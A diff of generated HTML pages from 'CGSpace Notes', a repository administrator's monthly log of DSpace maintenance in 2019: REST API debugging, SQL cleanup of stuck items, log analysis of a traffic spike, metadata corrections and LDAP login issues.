$ curl -f -H "Content-Type: application/json" -X POST "https://dspacetest.cgiar.org/rest/login" -d '{"email":"example@me.com","password":"fuuuuu"}'
+$ curl -f -H "Content-Type: application/json" -H "rest-dspace-token: b43d41a6-5ac1-455d-b49a-616b8debc25b" -X GET "https://dspacetest.cgiar.org/rest/status"
+$ curl -f -H "rest-dspace-token: b43d41a6-5ac1-455d-b49a-616b8debc25b" -H "Content-Type: application/json" -X POST "https://dspacetest.cgiar.org/rest/items/find-by-metadata-field" -d '{"key":"cg.subject.cpwf", "value":"WATER MANAGEMENT","language": "en_US"}'
+
    +
  • I created a normal user for Carlos to try as an unprivileged user:
    • +
+
$ dspace user --add --givenname Carlos --surname Tejo --email blah@blah.com --password 'ddmmdd'
+
    +
  • But still I get the HTTP 401 and I have no idea which item is causing it
    • +
  • I enabled more verbose logging in ItemsResource.java and now I can at least see the item ID that causes the failure… +
      +
    • The item is not even in the archive, but somehow it is discoverable
      • +
    +
    • +
+
dspace=# SELECT * FROM item WHERE item_id=74648;
+ item_id | submitter_id | in_archive | withdrawn |       last_modified        | owning_collection | discoverable
+---------+--------------+------------+-----------+----------------------------+-------------------+--------------
+   74648 |          113 | f          | f         | 2016-03-30 09:00:52.131+00 |                   | t
+(1 row)
+
    +
  • I tried to delete the item in the web interface, and it seems successful, but I can still access the item in the admin interface, and nothing changes in PostgreSQL
    • +
  • Meet with CodeObia to see progress on AReS version 2
    • +
  • Marissa Van Epp asked me to add a few new metadata values to their Phase II Project Tags field (cg.identifier.ccafsprojectpii) +
      +
    • I created a pull request for it and will do it the next time I run updates on CGSpace
      • +
    +
    • +
  • Communicate with Carlos Tejo from the Land Portal about the /items/find-by-metadata-value endpoint
    • +
  • Run all system updates on DSpace Test (linode19) and reboot it
    • +
+

2019-04-26

+
    +
  • Export a list of authors for Peter to look through:
    • +
+
dspace=# \copy (select distinct text_value, count(*) as count from metadatavalue where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'contributor' and qualifier = 'author') AND resource_type_id = 2 group by text_value order by count desc) to /tmp/2019-04-26-all-authors.csv with csv header;
+COPY 65752
+

2019-04-28

+
    +
  • Still trying to figure out the issue with the items that cause the REST API’s /items/find-by-metadata-value endpoint to throw an exception +
      +
    • I made the item private in the UI and then I see in the UI and PostgreSQL that it is no longer discoverable:
      • +
    +
    • +
+
dspace=# SELECT * FROM item WHERE item_id=74648;
+ item_id | submitter_id | in_archive | withdrawn |       last_modified        | owning_collection | discoverable 
+---------+--------------+------------+-----------+----------------------------+-------------------+--------------
+   74648 |          113 | f          | f         | 2019-04-28 08:48:52.114-07 |                   | f
+(1 row)
+
    +
  • And I tried the curl command from above again, but I still get the HTTP 401 and and the same error in the DSpace log:
    • +
+
2019-04-28 08:53:07,170 ERROR org.dspace.rest.ItemsResource @ User(anonymous) has not permission to read item(id=74648)!
+
    +
  • I even tried to “expunge” the item using an action in CSV, and it said “EXPUNGED!” but the item is still there…
    • +
+

2019-04-30

+
    +
  • Send mail to the dspace-tech mailing list to ask about the item expunge issue
    • +
  • Delete and re-create Podman container for dspacedb after pulling a new PostgreSQL container:
    • +
+
$ podman run --name dspacedb -v dspacedb_data:/var/lib/postgresql/data -e POSTGRES_PASSWORD=postgres -p 5432:5432 -d postgres:9.6-alpine
+
    +
  • Carlos from LandPortal asked if I could export CGSpace in a machine-readable format so I think I’ll try to do a CSV +
      +
    • In order to make it easier for him to understand the CSV I will normalize the text languages (minus the provenance field) on my local development instance before exporting:
      • +
    +
    • +
+
dspace=# SELECT DISTINCT text_lang, count(*) FROM metadatavalue WHERE resource_type_id = 2 AND metadata_field_id != 28 GROUP BY text_lang;
+ text_lang |  count
+-----------+---------
+           |  358647
+ *         |      11
+ E.        |       1
+ en        |    1635
+ en_US     |  602312
+ es        |      12
+ es_ES     |       2
+ ethnob    |       1
+ fr        |       2
+ spa       |       2
+           | 1074345
+(11 rows)
+dspace=# UPDATE metadatavalue SET text_lang='en_US' WHERE resource_type_id=2 AND metadata_field_id != 28 AND text_lang IN ('ethnob', 'en', '*', 'E.', '');
+UPDATE 360295
+dspace=# UPDATE metadatavalue SET text_lang='en_US' WHERE resource_type_id=2 AND metadata_field_id != 28 AND text_lang IS NULL;
+UPDATE 1074345
+dspace=# UPDATE metadatavalue SET text_lang='es_ES' WHERE resource_type_id=2 AND metadata_field_id != 28 AND text_lang IN ('es', 'spa');
+UPDATE 14
+
    +
  • Then I exported the whole repository as CSV, imported it into OpenRefine, removed a few unneeded columns, exported it, zipped it down to 36MB, and emailed a link to Carlos
    • +
  • In other news, while I was looking through the CSV in OpenRefine I saw lots of weird values in some fields… we should check, for example: +
      +
    • issue dates
      • +
    • items missing handles
      • +
    • authorship types
      • +
    +
    • +
+ + + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2019-05/index.html b/docs/2019-05/index.html new file mode 100644 index 000000000..64e65931c --- /dev/null +++ b/docs/2019-05/index.html @@ -0,0 +1,685 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + May, 2019 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

May, 2019

+

+ + in + Notes + + +

+
+

2019-05-01

+
    +
  • Help CCAFS with regenerating some item thumbnails after they uploaded new PDFs to some items on CGSpace
    • +
  • A user on the dspace-tech mailing list offered some suggestions for troubleshooting the problem with the inability to delete certain items +
      +
    • Apparently if the item is in the workflowitem table it is submitted to a workflow
      • +
    • And if it is in the workspaceitem table it is in the pre-submitted state
      • +
    +
    • +
  • The item seems to be in a pre-submitted state, so I tried to delete it from there:
    • +
+
dspace=# DELETE FROM workspaceitem WHERE item_id=74648;
+DELETE 1
+
    +
  • But after this I tried to delete the item from the XMLUI and it is still present…
    • +
+
    +
  • I managed to delete the problematic item from the database +
      +
    • First I deleted the item’s bitstream in XMLUI and then ran dspace cleanup -v to remove it from the assetstore
      • +
    • Then I ran the following SQL:
      • +
    +
    • +
+
dspace=# DELETE FROM metadatavalue WHERE resource_id=74648;
+dspace=# DELETE FROM workspaceitem WHERE item_id=74648;
+dspace=# DELETE FROM item WHERE item_id=74648;
+
    +
  • Now the item is (hopefully) really gone and I can continue to troubleshoot the issue with REST API’s /items/find-by-metadata-value endpoint +
      +
    • Of course I run into another HTTP 401 error when I continue trying the LandPortal search from last month:
      • +
    +
    • +
+
$ curl -f -H "Content-Type: application/json" -X POST "http://localhost:8080/rest/items/find-by-metadata-field" -d '{"key":"cg.subject.cpwf", "value":"WATER MANAGEMENT","language": "en_US"}'
+curl: (22) The requested URL returned error: 401 Unauthorized
+
    +
  • The DSpace log shows the item ID (because I modified the error text):
    • +
+
2019-05-01 11:41:11,069 ERROR org.dspace.rest.ItemsResource @ User(anonymous) has not permission to read item(id=77708)!
+
    +
  • If I delete that one I get another, making the list of item IDs so far: +
      +
    • 74648
      • +
    • 77708
      • +
    • 85079
      • +
    +
    • +
  • Some are in the workspaceitem table (pre-submission), others are in the workflowitem table (submitted), and others are actually approved, but withdrawn… +
      +
    • This is actually a worthless exercise because the real issue is that the /items/find-by-metadata-value endpoint is simply designed flawed and shouldn’t be fatally erroring when the search returns items the user doesn’t have permission to access
      • +
    • It would take way too much time to try to fix the fucked up items that are in limbo by deleting them in SQL, but also, it doesn’t actually fix the problem because some items are submitted but withdrawn, so they actually have handles and everything
      • +
    • I think the solution is to recommend people don’t use the /items/find-by-metadata-value endpoint
      • +
    +
    • +
  • CIP is asking about embedding PDF thumbnail images in their RSS feeds again +
      +
    • They asked in 2018-09 as well and I told them it wasn’t possible
      • +
    • To make sure, I looked at the documentation for RSS media feeds and tried it, but couldn’t get it to work
      • +
    • It seems to be geared towards iTunes and Podcasts… I dunno
      • +
    +
    • +
  • CIP also asked for a way to get an XML file of all their RTB journal articles on CGSpace +
      +
    • I told them to use the REST API like (where 1179 is the id of the RTB journal articles collection):
      • +
    +
    • +
+
https://cgspace.cgiar.org/rest/collections/1179/items?limit=812&expand=metadata
+

2019-05-03

+
    +
  • A user from CIAT emailed to say that CGSpace submission emails have not been working the last few weeks +
      +
    • I checked the dspace test-email script on CGSpace and they are indeed failing:
      • +
    +
    • +
+
$ dspace test-email
+
+About to send test email:
+ - To: woohoo@cgiar.org
+ - Subject: DSpace test email
+ - Server: smtp.office365.com
+
+Error sending email:
+ - Error: javax.mail.AuthenticationFailedException
+
+Please see the DSpace documentation for assistance.
+
    +
  • I will ask ILRI ICT to reset the password +
      +
    • They reset the password and I tested it on CGSpace
      • +
    +
    • +
+

2019-05-05

+
    +
  • Run all system updates on DSpace Test (linode19) and reboot it
    • +
  • Merge changes into the 5_x-prod branch of CGSpace: +
      +
    • Updates to remove deprecated social media websites (Google+ and Delicious), update Twitter share intent, and add item title to Twitter and email links (#421)
      • +
    • Add new CCAFS Phase II project tags (#420)
      • +
    • Add item ID to REST API error logging (#422)
      • +
    +
    • +
  • Re-deploy CGSpace from 5_x-prod branch
    • +
  • Run all system updates on CGSpace (linode18) and reboot it
    • +
  • Tag version 1.1.0 of the dspace-statistics-api (with Falcon 2.0.0) +
      +
    • Deploy on DSpace Test
      • +
    +
    • +
+

2019-05-06

+
    +
  • Peter pointed out that Solr stats are only showing 2019 stats +
      +
    • I looked at the Solr Admin UI and I see:
      • +
    +
    • +
+
statistics-2018: org.apache.solr.common.SolrException:org.apache.solr.common.SolrException: Error opening new searcher 
+
    +
  • As well as this error in the logs:
    • +
+
Caused by: org.apache.lucene.store.LockObtainFailedException: Lock obtain timed out: NativeFSLock@/home/cgspace.cgiar.org/solr/statistics-2018/data/index/write.lock
+
    +
  • Strangely enough, I do see the statistics-2018, statistics-2017, etc cores in the Admin UI…
    • +
  • I restarted Tomcat a few times (and even deleted all the Solr write locks) and at least five times there were issues loading one statistics core, causing the Atmire stats to be incomplete +
      +
    • Also, I tried to increase the writeLockTimeout in solrconfig.xml from the default of 1000ms to 10000ms
      • +
    • Eventually the Atmire stats started working, despite errors about “Error opening new searcher” in the Solr Admin UI
      • +
    • I wrote to the dspace-tech mailing list again on the thread from March, 2019
      • +
    +
    • +
  • There were a few alerts from UptimeRobot about CGSpace going up and down this morning, along with an alert from Linode about 596% load +
      +
    • Looking at the Munin stats I see an exponential rise in DSpace XMLUI sessions, firewall activity, and PostgreSQL connections this morning:
      • +
    +
    • +
+

CGSpace XMLUI sessions day

+

linode18 firewall connections day

+

linode18 postgres connections day

+

linode18 CPU day

+
    +
  • The number of unique sessions today is ridiculously high compared to the last few days considering it’s only 12:30PM right now:
    • +
+
$ grep -o -E 'session_id=[A-Z0-9]{32}' dspace.log.2019-05-06 | sort | uniq | wc -l
+101108
+$ grep -o -E 'session_id=[A-Z0-9]{32}' dspace.log.2019-05-05 | sort | uniq | wc -l
+14618
+$ grep -o -E 'session_id=[A-Z0-9]{32}' dspace.log.2019-05-04 | sort | uniq | wc -l
+14946
+$ grep -o -E 'session_id=[A-Z0-9]{32}' dspace.log.2019-05-03 | sort | uniq | wc -l
+6410
+$ grep -o -E 'session_id=[A-Z0-9]{32}' dspace.log.2019-05-02 | sort | uniq | wc -l
+7758
+$ grep -o -E 'session_id=[A-Z0-9]{32}' dspace.log.2019-05-01 | sort | uniq | wc -l
+20528
+
    +
  • The number of unique IP addresses from 2 to 6 AM this morning is already several times higher than the average for that time of the morning this past week:
    • +
+
# zcat --force /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep -E '06/May/2019:(02|03|04|05|06)' | awk '{print $1}' | sort | uniq | wc -l
+7127
+# zcat --force /var/log/nginx/access.log.1 /var/log/nginx/access.log.2.gz | grep -E '05/May/2019:(02|03|04|05|06)' | awk '{print $1}' | sort | uniq | wc -l
+1231
+# zcat --force /var/log/nginx/access.log.2.gz /var/log/nginx/access.log.3.gz | grep -E '04/May/2019:(02|03|04|05|06)' | awk '{print $1}' | sort | uniq | wc -l
+1255
+# zcat --force /var/log/nginx/access.log.3.gz /var/log/nginx/access.log.4.gz | grep -E '03/May/2019:(02|03|04|05|06)' | awk '{print $1}' | sort | uniq | wc -l
+1736
+# zcat --force /var/log/nginx/access.log.4.gz /var/log/nginx/access.log.5.gz | grep -E '02/May/2019:(02|03|04|05|06)' | awk '{print $1}' | sort | uniq | wc -l
+1573
+# zcat --force /var/log/nginx/access.log.5.gz /var/log/nginx/access.log.6.gz | grep -E '01/May/2019:(02|03|04|05|06)' | awk '{print $1}' | sort | uniq | wc -l
+1410
+
    +
  • Just this morning between the hours of 2 and 6 the number of unique sessions was very high compared to previous mornings:
    • +
+
$ cat dspace.log.2019-05-06 | grep -E '2019-05-06 (02|03|04|05|06):' | grep -o -E 'session_id=[A-Z0-9]{32}' | sort | uniq | wc -l
+83650
+$ cat dspace.log.2019-05-05 | grep -E '2019-05-05 (02|03|04|05|06):' | grep -o -E 'session_id=[A-Z0-9]{32}' | sort | uniq | wc -l
+2547
+$ cat dspace.log.2019-05-04 | grep -E '2019-05-04 (02|03|04|05|06):' | grep -o -E 'session_id=[A-Z0-9]{32}' | sort | uniq | wc -l
+2574
+$ cat dspace.log.2019-05-03 | grep -E '2019-05-03 (02|03|04|05|06):' | grep -o -E 'session_id=[A-Z0-9]{32}' | sort | uniq | wc -l
+2911
+$ cat dspace.log.2019-05-02 | grep -E '2019-05-02 (02|03|04|05|06):' | grep -o -E 'session_id=[A-Z0-9]{32}' | sort | uniq | wc -l
+2704
+$ cat dspace.log.2019-05-01 | grep -E '2019-05-01 (02|03|04|05|06):' | grep -o -E 'session_id=[A-Z0-9]{32}' | sort | uniq | wc -l
+3699
+
    +
  • Most of the requests were GETs:
    • +
+
# cat /var/log/nginx/{access,library-access}.log /var/log/nginx/{access,library-access}.log.1 | grep -E '06/May/2019:(02|03|04|05|06)' | grep -o -E "(GET|HEAD|POST|PUT)" | sort | uniq -c | sort -n
+      1 PUT
+     98 POST
+   2845 HEAD
+  98121 GET
+
    +
  • I’m not exactly sure what happened this morning, but it looks like some legitimate user traffic—perhaps someone launched a new publication and it got a bunch of hits?
    • +
  • Looking again, I see 84,000 requests to /handle this morning (not including logs for library.cgiar.org because those get HTTP 301 redirect to CGSpace and appear here in access.log):
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep -E '06/May/2019:(02|03|04|05|06)' | grep -c -o -E " /handle/[0-9]+/[0-9]+"
+84350
+
    +
  • But it would be difficult to find a pattern for those requests because they cover 78,000 unique Handles (ie direct browsing of items, collections, or communities) and only 2,492 discover/browse (total, not unique):
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep -E '06/May/2019:(02|03|04|05|06)' | grep -o -E " /handle/[0-9]+/[0-9]+ HTTP" | sort | uniq | wc -l
+78104
+# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 | grep -E '06/May/2019:(02|03|04|05|06)' | grep -o -E " /handle/[0-9]+/[0-9]+/(discover|browse)" | wc -l
+2492
+
    +
  • In other news, I see some IP is making several requests per second to the exact same REST API endpoints, for example:
    • +
+
# grep /rest/handle/10568/3703?expand=all rest.log | awk '{print $1}' | sort | uniq -c
+      3 2a01:7e00::f03c:91ff:fe0a:d645
+    113 63.32.242.35
+
    +
  • According to viewdns.info that server belongs to Macaroni Brothers +
      +
    • The user agent of their non-REST API requests from the same IP is Drupal
      • +
    • This is one very good reason to limit REST API requests, and perhaps to enable caching via nginx
      • +
    +
    • +
+

2019-05-07

+
    +
  • The total number of unique IPs on CGSpace yesterday was almost 14,000, which is several thousand higher than previous day totals:
    • +
+
# zcat --force /var/log/nginx/access.log.1 /var/log/nginx/access.log.2.gz | grep -E '06/May/2019' | awk '{print $1}' | sort | uniq | wc -l
+13969
+# zcat --force /var/log/nginx/access.log.2.gz /var/log/nginx/access.log.3.gz | grep -E '05/May/2019' | awk '{print $1}' | sort | uniq | wc -l
+5936
+# zcat --force /var/log/nginx/access.log.3.gz /var/log/nginx/access.log.4.gz | grep -E '04/May/2019' | awk '{print $1}' | sort | uniq | wc -l
+6229
+# zcat --force /var/log/nginx/access.log.4.gz /var/log/nginx/access.log.5.gz | grep -E '03/May/2019' | awk '{print $1}' | sort | uniq | wc -l
+8051
+
    +
  • Total number of sessions yesterday was much higher compared to days last week:
    • +
+
$ cat dspace.log.2019-05-06 | grep -E 'session_id=[A-Z0-9]{32}' | sort | uniq | wc -l
+144160
+$ cat dspace.log.2019-05-05 | grep -E 'session_id=[A-Z0-9]{32}' | sort | uniq | wc -l
+57269
+$ cat dspace.log.2019-05-04 | grep -E 'session_id=[A-Z0-9]{32}' | sort | uniq | wc -l
+58648
+$ cat dspace.log.2019-05-03 | grep -E 'session_id=[A-Z0-9]{32}' | sort | uniq | wc -l
+27883
+$ cat dspace.log.2019-05-02 | grep -E 'session_id=[A-Z0-9]{32}' | sort | uniq | wc -l
+26996
+$ cat dspace.log.2019-05-01 | grep -E 'session_id=[A-Z0-9]{32}' | sort | uniq | wc -l
+61866
+
    +
  • The usage statistics seem to agree that yesterday was crazy:
    • +
+

Atmire Usage statistics spike 2019-05-06

+
    +
  • Sarah from RTB asked me about the RSS / XML link for the the CGIAR.org website again +
      +
    • Apparently Sam Stacey is trying to add an RSS feed so the items get automatically syndicated to the CGIAR website
      • +
    • I send her the link to the collection RSS feed
      • +
    +
    • +
  • Add requests cache to resolve-addresses.py script
    • +
+

2019-05-08

+
    +
  • A user said that CGSpace emails have stopped sending again +
      +
    • Indeed, the dspace test-email script is showing an authentication failure:
      • +
    +
    • +
+
$ dspace test-email
+
+About to send test email:
+ - To: wooooo@cgiar.org
+ - Subject: DSpace test email
+ - Server: smtp.office365.com
+
+Error sending email:
+ - Error: javax.mail.AuthenticationFailedException
+
+Please see the DSpace documentation for assistance.
+
    +
  • I checked the settings and apparently I had updated it incorrectly last week after ICT reset the password
    • +
  • Help Moayad with certbot-auto for Let’s Encrypt scripts on the new AReS server (linode20)
    • +
  • Normalize all text_lang values for metadata on CGSpace and DSpace Test (as I had tested last month):
    • +
+
UPDATE metadatavalue SET text_lang='en_US' WHERE resource_type_id=2 AND metadata_field_id != 28 AND text_lang IN ('ethnob', 'en', '*', 'E.', '');
+UPDATE metadatavalue SET text_lang='en_US' WHERE resource_type_id=2 AND metadata_field_id != 28 AND text_lang IS NULL;
+UPDATE metadatavalue SET text_lang='es_ES' WHERE resource_type_id=2 AND metadata_field_id != 28 AND text_lang IN ('es', 'spa');
+
    +
  • Send Francesca Giampieri from Bioversity a CSV export of all their items issued in 2018 +
      +
    • They will be doing a migration of 1500 items from their TYPO3 database into CGSpace soon and want an example CSV with all required metadata columns
      • +
    +
    • +
+

2019-05-10

+
    +
  • I finally had time to analyze the 7,000 IPs from the major traffic spike on 2019-05-06 after several runs of my resolve-addresses.py script (ipapi.co has a limit of 1,000 requests per day)
    • +
  • Resolving the unique IP addresses to organization and AS names reveals some pretty big abusers: +
      +
    • 1213 from Region40 LLC (AS200557)
      • +
    • 697 from Trusov Ilya Igorevych (AS50896)
      • +
    • 687 from UGB Hosting OU (AS206485)
      • +
    • 620 from UAB Rakrejus (AS62282)
      • +
    • 491 from Dedipath (AS35913)
      • +
    • 476 from Global Layer B.V. (AS49453)
      • +
    • 333 from QuadraNet Enterprises LLC (AS8100)
      • +
    • 278 from GigeNET (AS32181)
      • +
    • 261 from Psychz Networks (AS40676)
      • +
    • 196 from Cogent Communications (AS174)
      • +
    • 125 from Blockchain Network Solutions Ltd (AS43444)
      • +
    • 118 from Silverstar Invest Limited (AS35624)
      • +
    +
    • +
  • All of the IPs from these networks are using generic user agents like this, but MANY more, and they change many times:
    • +
+
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2703.0 Safari/537.36"
+
+ +
    +
  • So this was definitely an attack of some sort… only God knows why
    • +
  • I noticed a few new bots that don’t use the word “bot” in their user agent and therefore don’t match Tomcat’s Crawler Session Manager Valve: +
      +
    • Blackboard Safeassign
      • +
    • Unpaywall
      • +
    +
    • +
+

2019-05-12

+
    +
  • I see that the Unpaywall bot is resonsible for a few thousand XMLUI sessions every day (IP addresses come from nginx access.log):
    • +
+
$ cat dspace.log.2019-05-11 | grep -E 'ip_addr=(100.26.206.188|100.27.19.233|107.22.98.199|174.129.156.41|18.205.243.110|18.205.245.200|18.207.176.164|18.207.209.186|18.212.126.89|18.212.5.59|18.213.4.150|18.232.120.6|18.234.180.224|18.234.81.13|3.208.23.222|34.201.121.183|34.201.241.214|34.201.39.122|34.203.188.39|34.207.197.154|34.207.232.63|34.207.91.147|34.224.86.47|34.227.205.181|34.228.220.218|34.229.223.120|35.171.160.166|35.175.175.202|3.80.201.39|3.81.120.70|3.81.43.53|3.84.152.19|3.85.113.253|3.85.237.139|3.85.56.100|3.87.23.95|3.87.248.240|3.87.250.3|3.87.62.129|3.88.13.9|3.88.57.237|3.89.71.15|3.90.17.242|3.90.68.247|3.91.44.91|3.92.138.47|3.94.250.180|52.200.78.128|52.201.223.200|52.90.114.186|52.90.48.73|54.145.91.243|54.160.246.228|54.165.66.180|54.166.219.216|54.166.238.172|54.167.89.152|54.174.94.223|54.196.18.211|54.198.234.175|54.208.8.172|54.224.146.147|54.234.169.91|54.235.29.216|54.237.196.147|54.242.68.231|54.82.6.96|54.87.12.181|54.89.217.141|54.89.234.182|54.90.81.216|54.91.104.162)' | grep -E 'session_id=[A-Z0-9]{32}' | sort | uniq | wc -l   
+2206
+
    +
  • I added “Unpaywall” to the list of bots in the Tomcat Crawler Session Manager Valve
    • +
  • Set up nginx to use TLS and proxy pass to NodeJS on the AReS development server (linode20)
    • +
  • Run all system updates on linode20 and reboot it
    • +
  • Also, there is 10 to 20% CPU steal on that VM, so I will ask Linode to move it to another host
    • +
  • Commit changes to the resolve-addresses.py script to add proper CSV output support
    • +
+

2019-05-14

+
    +
  • Skype with Peter and AgroKnow about CTA story telling modification they want to do on the CTA ICT Update collection on CGSpace +
      +
    • I told them they should aim for modifying the collection theme and insert some custom HTML / JS
      • +
    • I need to send Panagis some documentation about Mirage 2 and the DSpace build process, as well as the Maven settings for build
      • +
    +
    • +
+

2019-05-15

+
    +
  • Tezira says she’s having issues with email reports for approved submissions, but I received an email about collection subscriptions this morning, and I tested with dspace test-email and it’s also working…
    • +
  • Send a list of DSpace build tips to Panagis from AgroKnow
    • +
  • Finally fix the AReS v2 to work via DSpace Test and send it to Peter et al to give their feedback +
      +
    • We had issues with CORS due to Moayad using a hard-coded domain name rather than a relative URL
      • +
    +
    • +
+

2019-05-16

+
    +
  • Export a list of all investors (dc.description.sponsorship) for Peter to look through and correct:
    • +
+
dspace=# \COPY (SELECT DISTINCT text_value, count(*) FROM metadatavalue WHERE resource_type_id = 2 AND metadata_field_id = 29 GROUP BY text_value ORDER BY count DESC LIMIT 1500) to /tmp/2019-05-16-investors.csv WITH CSV HEADER;
+COPY 995
+
+

2019-05-17

+
    +
  • Peter sent me a bunch of fixes for investors from yesterday
    • +
  • I did a quick check in Open Refine (trim and collapse whitespace, clean smart quotes, etc) and then applied them on CGSpace:
    • +
+
$ ./fix-metadata-values.py -i /tmp/2019-05-16-fix-306-Investors.csv -db dspace-u dspace-p 'fuuu' -f dc.description.sponsorship -m 29 -t correct -d
+$ ./delete-metadata-values.py -i /tmp/2019-05-16-delete-297-Investors.csv -db dspace -u dspace -p 'fuuu' -m 29 -f dc.description.sponsorship -d
+
    +
  • Then I started a full Discovery re-indexing:
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx1024m"
+$ time schedtool -B -e ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
    +
  • I was going to make a new controlled vocabulary of the top 100 terms after these corrections, but I noticed a bunch of duplicates and variations when I sorted them alphabetically
    • +
  • Instead, I exported a new list and asked Peter to look at it again
    • +
  • Apply Peter’s new corrections on DSpace Test and CGSpace:
    • +
+
$ ./fix-metadata-values.py -i /tmp/2019-05-17-fix-25-Investors.csv -db dspace -u dspace -p 'fuuu' -f dc.description.sponsorship -m 29 -t correct -d
+$ ./delete-metadata-values.py -i /tmp/2019-05-17-delete-14-Investors.csv -db dspace -u dspace -p 'fuuu' -m 29 -f dc.description.sponsorship -d
+
    +
  • Then I re-exported the sponsors and took the top 100 to update the existing controlled vocabulary (#423) +
      +
    • I will deploy the changes on CGSpace the next time we re-deploy
      • +
    +
    • +
+

2019-05-19

+
    +
  • Add “ISI journal” to item view sidebar at the request of Maria Garruccio
    • +
  • Update fix-metadata-values.py and delete-metadata-values.py scripts to add some basic checking of CSV fields and colorize shell output using Colorama
    • +
+

2019-05-24

+
    +
  • Update AReS README.md on GitHub repository to add a proper introduction, credits, requirements, installation instructions, and legal information
    • +
  • Update CIP subjects in input forms on CGSpace (#424)
    • +
+

2019-05-25

+
    +
  • Help Abenet proof ten Africa Rice publications +
      +
    • Convert some dates to string (from number in Excel)
      • +
    • Trim whitespace on all fields
      • +
    • Correct and standardize affiliations
      • +
    • Validate subject terms against AGROVOC
      • +
    • Add rights information to all items
      • +
    • Correct and standardize sponsors
      • +
    +
    • +
  • Generate Simple Archive Format bundle with SAFBuilder and import into the AfricaRice Articles in Journals collection on CGSpace:
    • +
+
$ dspace import -a -e me@cgiar.org -m 2019-05-25-AfricaRice.map -s /tmp/SimpleArchiveFormat
+

2019-05-27

+
    +
  • Peter sent me over two thousand corrections for the authors on CGSpace that I had dumped last month +
      +
    • I proofed them for whitespace and invalid special characters in OpenRefine and then applied them on CGSpace and DSpace Test:
      • +
    +
    • +
+
$ ./fix-metadata-values.py -i /tmp/2019-05-27-fix-2472-Authors.csv -db dspace -u dspace -p 'fuuu' -f dc.contributor.author -m 3 -t corrections -d
+
    +
  • Then start a full Discovery re-indexing on each server:
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx1024m"                                   
+$ time schedtool -B -e ionice -c2 -n7 nice -n19 dspace index-discovery -b
+
    +
  • Export new list of all authors from CGSpace database to send to Peter:
    • +
+
dspace=# \copy (select distinct text_value, count(*) as count from metadatavalue where metadata_field_id = (select metadata_field_id from metadatafieldregistry where element = 'contributor' and qualifier = 'author') AND resource_type_id = 2 group by text_value order by count desc) to /tmp/2019-05-27-all-authors.csv with csv header;
+COPY 64871
+
    +
  • Run all system updates on DSpace Test (linode19) and reboot it
    • +
  • Paola from CIAT asked for a way to generate a report of the top keywords for each year of their articles and journals +
      +
    • I told them that the best way (even though it’s low tech) is to work on a CSV dump of the collection
      • +
    +
    • +
+

2019-05-29

+
    +
  • A CIMMYT user was having problems registering or logging into CGSpace +
      +
    • I tried to register her and it gave an error, then I remembered for CGIAR LDAP users we actually need to just log in and it will automatically create an eperson
      • +
    • I told her to try to log in with the LDAP login method and let me know what happens (then I can look in the logs too)
      • +
    +
    • +
+

2019-05-30

+
    +
  • I see the following error in the DSpace log when the user tries to log in with her CGIAR email and password on the LDAP login:
    • +
+
2019-05-30 07:19:35,166 INFO  org.dspace.authenticate.LDAPAuthentication @ anonymous:session_id=A5E0C836AF8F3ABB769FE47107AE1CFF:ip_addr=185.71.4.34:failed_login:no DN found for user sa.saini@cgiar.org
+
    +
  • For now I just created an eperson with her personal email address until I have time to check LDAP to see what’s up with her CGIAR account:
    • +
+
$ dspace user -a -m blah@blah.com -g Sakshi -s Saini -p 'sknflksnfksnfdls'
+
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2019-06/index.html b/docs/2019-06/index.html new file mode 100644 index 000000000..0cb3dd632 --- /dev/null +++ b/docs/2019-06/index.html @@ -0,0 +1,371 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + June, 2019 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

June, 2019

+

+ + in + Notes + + +

+
+

2019-06-02

+ +

2019-06-03

+
    +
  • Skype with Marie-Angélique and Abenet about CG Core v2
    • +
+
    +
  • Here is a list of proposed metadata migrations for CGSpace +
      +
    • dc.language.iso→DCTERMS.language (and switch to ISO 639-2 Alpha 3)
      • +
    • dc.description.abstract→DCTERMS.abstract
      • +
    • dc.identifier.citation→DCTERMS.bibliographicCitation
      • +
    • dc.contributor.author→DCTERMS.creator (for people)
      • +
    • dc.description.sponsorship→cg.contributor.donor (values from CrossRef or Grid.ac if possible)
      • +
    • dc.rights→DCTERMS.license
      • +
    • cg.identifier.status→DCTERMS.accessRights (values “open” or “restricted”)
      • +
    • cg.creator.id→cg.creator.identifier?
      • +
    • dc.relation.ispartofseries→DCTERMS.isPartOf
      • +
    • cg.link.relation→DCTERMS.relation
      • +
    +
    • +
  • Marie agreed that we need to adopt some controlled lists for our values, and pointed out that the MARLO team maintains a list of CRPs and Centers at CLARISA +
      +
    • There is an API there but it needs a password for access…
      • +
    +
    • +
+

2019-06-04

+
    +
  • The MARLO team responded and said they will give us access to the CLARISA API
    • +
  • Marie-Angélique proposed to integrate dcterms.isPartOf, dcterms.abstract, and dcterms.bibliographicCitation into the CG Core v2 schema +
      +
    • I told her I would attempt to integrate those and the others above into DSpace Test soon and report back
      • +
    • We also need to discuss with the ILRI Data Portal, MEL/MELSpace, and users who consume the CGSpace API
      • +
    +
    • +
  • Add Arabic language to input-forms.xml (#427), as Bioversity is adding some Arabic items and noticed it missing
    • +
+

2019-06-05

+
    +
  • Send mail to CGSpace and MELSpace people to let them know about the proposed metadata field migrations after the discussion with Marie-Angélique
    • +
+

2019-06-07

+
    +
  • Thierry noticed that the CUA statistics were missing previous years again, and I see that the Solr admin UI has the following message:
    • +
+
